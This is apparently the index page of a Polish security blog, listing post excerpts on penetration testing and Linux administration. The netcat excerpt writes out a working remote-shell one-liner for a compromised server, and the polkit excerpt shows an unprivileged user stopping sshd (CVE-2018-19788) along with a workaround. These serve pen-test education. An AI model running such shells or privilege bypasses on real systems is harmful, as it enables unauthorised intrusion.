NFsec Logo

Skracarki i wklejarki URL cz.I – Scribebat librum Necronomicon

29/12/2018 w Bezpieczeństwo, Pen Test Możliwość komentowania Skracarki i wklejarki URL cz.I – Scribebat librum Necronomicon została wyłączona

S

erwisy oferujące skracanie adresów URL są do dzisiaj powszechnie stosowane. Pozwalają one utworzyć wygodny, krótki adres URL, który służy jako przekierowanie do długich i złożonych adresów. Skrócony adres URL może na przykład wyglądać tak: https://bit.ly/2TeiuwH. Po kliknięciu w niego nastąpi natychmiastowe przekierowanie do adresu URL bit.ly zapisanego za magiczną wartością 2TeiuwH (jeśli kliknąłeś w poprzedni link bez sprawdzenia dokąd prowadzi – dziękuje za zaufanie). Problem w tym, że “skróty” te można “złamać” poprzez ataki brute force. Dlatego używając tego typu serwisów nigdy nie powinniśmy w nich ukrywać linków do poufnych informacji. Zespół URLTeam z serwisu archiveteam.org – postawił sobie za cel badanie i odkrywanie tajemnic, jakie kryją się w tych magicznych wartościach.
[ czytaj całość… ]

Od netcat do pełnowymiarowej powłoki shell

27/12/2018 w Pen Test Możliwość komentowania Od netcat do pełnowymiarowej powłoki shell została wyłączona

Z

ałóżmy, że uruchomiliśmy już “odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

Co z .bash_history ?

23/12/2018 w Bezpieczeństwo 1 komentarz.

W

ramach “Uciekiniera z zastrzeżonej powłoki” wielu z Was dziwiło się jak prosto można uruchomić powłokę bash bez oficjalnego profilu ładowanego z systemu. Tym samym powstało wiele pytań o wiarygodność pliku .bash_history w kontekście śledzenia aktywności użytkowników. Na początku może skonfigurujmy dla tego pliku środowisko systemu najlepiej, jak umiemy.
[ czytaj całość… ]

Podniesienie uprawnień dla użytkowników z UID większym niż INT_MAX

05/12/2018 w Bezpieczeństwo Możliwość komentowania Podniesienie uprawnień dla użytkowników z UID większym niż INT_MAX została wyłączona

U

żytkownicy posiadający UID większy od INT_MAX posiadają możliwość wykonania dowolnego polecenia za pomocą systemctl. Błąd nie tkwi w samym systemd, jak mogliśmy się przyzwyczaić, ale w narzędziu pkttyagent, w którym PolicyKit (polkit) podczas wystąpienia błędu twierdzi, że użytkownik jest uprawniony do wykonania polecenia. Przykład działania takiego zachowania:

$ systemctl --version
systemd 239
$ pkttyagent --version
pkttyagent version 0.115
$ id 
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" 
of type 'gint' is invalid or out of range for property 'uid' of type 'gint' **
ERROR:pkttyagent.c:156:main: assertion failed: 
(polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive

Luka sama w sobie nie jest groźna, ponieważ do stworzenia użytkownika z takim UID są już wymagane prawa administratora. Można ją jednak użyć do zamaskowania użytkownika, który ma podniesione prawa, a nie ma przypisanego UID/GID=0. Do czasu naprawienia luki można użyć obejścia w postaci wyłączenia polkit’a:

systemctl mask polkit && systemctl stop polkit

Więcej informacji: systemd issue, polkit issue, CVE-2018-19788

Rozmowy przy Kafce #1

19/11/2018 w Administracja Możliwość komentowania Rozmowy przy Kafce #1 została wyłączona

J

eśli chcemy odbyć krótką rozmowę o wydajności producenta kafki (w kontekście: logstash → kafka ← logstash → elasticsearch) musimy porozmawiać o dwóch rzeczach. Po pierwsze: opóźnieniu – ile czasu upłynęło od czasu wywołania metody send(), dopóki komunikat nie pojawi się na brokerze. Po drugie: przepustowości – ile wiadomości może wysłać producent do brokera na sekundę. Dlaczego musimy obawiać się o te dwie wartości? Jeśli procesowanie wiadomości zajmuje nam 10 milisekund (opóźnienie) to wyraźnie przepustowość jest ograniczona do 100 wiadomości na sekundę. Patrząc na to w ten sposób można dojść do wniosku, że im wyższe opóźnienie tym większa przepustowość. Jednak związek między opóźnieniem, a przepustowością nie jest tak trywialny.
[ czytaj całość… ]

Atak Web Cache Deception

16/10/2018 w Ataki Internetowe Możliwość komentowania Atak Web Cache Deception została wyłączona

2

7 lutego 2017 badacz bezpieczeństwa Omer Gil opublikował wpis opisujący atak “Web Cache Deception” (Oszukanie Pamięci Podręcznej Strony Internetowej). Wykorzystuje on funkcjonalność buforowania stron internetowych w celu potencjalnego ujawnienia poufnych informacji lub umożliwienia przejęcia konta (ang. Account Takeover). Buforowanie stron (ang. Web Caching) jest często używane w celu zmniejszenia obciążenia serwerów WWW i czasu ładowania treści stron. Atak Web Cache Deception pokazuje sposoby, w których biorąc pod uwagę pewne konfiguracje serwerów funkcja buforowania może być niewłaściwie użyta do udostępnienia treści nieprzeznaczonych do informacji publicznej. Zarówno buforujący serwer proxy, jak i strona źródłowa indywidualnie mogą mieć poprawne konfiguracje. Jednak w połączeniu ich w jeden system może dojść do nieoczekiwanego zachowania w świetle tej nowej metody ataku.
[ czytaj całość… ]

Uciekinier z zastrzeżonej powłoki

18/09/2018 w Bezpieczeństwo, Pen Test Możliwość komentowania Uciekinier z zastrzeżonej powłoki została wyłączona

J

eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted lub -r – to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]

Obchodzenie zapór pośrednicząco-filtrujących strony web #3

07/08/2018 w Pen Test Możliwość komentowania Obchodzenie zapór pośrednicząco-filtrujących strony web #3 została wyłączona

J

eśli interesują nas wcześniejsze dwie części to znajdziemy je tu (1) i tu (2). Przejdźmy teraz do kolejnej części. W ciągu ostatnich lat bezpieczeństwo webaplikacji stało się bardzo ważnym tematem w dziedzinie IT. Zalety, jakie oferuje sieć sprawiły, że bardzo ważne usługi zostają opracowane jako aplikacje internetowe. Wymagania biznesowe związane z bezpieczeństwem wspomnianych aplikacji również uległy przemianie. Oprócz dobrych praktyk programistycznych wymagane są też dobre praktyki bezpieczeństwa. Stosowane są dodatkowe zabezpieczenia takie, jak WAF (ang. Web Application Firewall). Zapory sieciowe aplikacji to transparentne zapory ogniowe warstwy siódmej, które kontrolują ruch sieciowy i “próbują” chronić aplikację przed atakami.
[ czytaj całość… ]

Apache – logowanie, tego co niewidzialne dla logowania

04/08/2018 w Bezpieczeństwo Możliwość komentowania Apache – logowanie, tego co niewidzialne dla logowania została wyłączona

D

laczego nie zawsze można ufać logom serwera WWW przedstawił Andrzej Broński na łamach serwisu sekurak. Podsumowując: jeśli używamy konfiguracji Apache (prefork MPM) + mod_php (która jest przestarzała i nie zalecana przez Apache), pozwalając w dodatku na wywołania niebezpiecznej funkcji exec może dojść do sytuacji, w której wywołanie skryptu PHP nie zostanie nigdzie zalogowane.
[ czytaj całość… ]

Krótka historia poleceń “rm” oraz “rmdir”

15/07/2018 w Administracja Możliwość komentowania Krótka historia poleceń “rm” oraz “rmdir” została wyłączona

W

przeciwieństwie do wielu podstawowych narzędzi systemów Unix i Linux, nazwa polecenia rm nie jest starsza niż sam Unix. W poprzednikach Uniksa – Compatible Time Sharing System (CTSS) i Multics, polecenie używane do usuwania plików nazywało się delete (w Multics opcjonalnie mogło zostać skrócone do dl). W systemie Unix nazwa rm została prawdopodobnie użyta, aby odzwierciedlić filozofię zmiany z usuwania plików na usuwanie wpisów, które prowadziły do ich pozycji.
[ czytaj całość… ]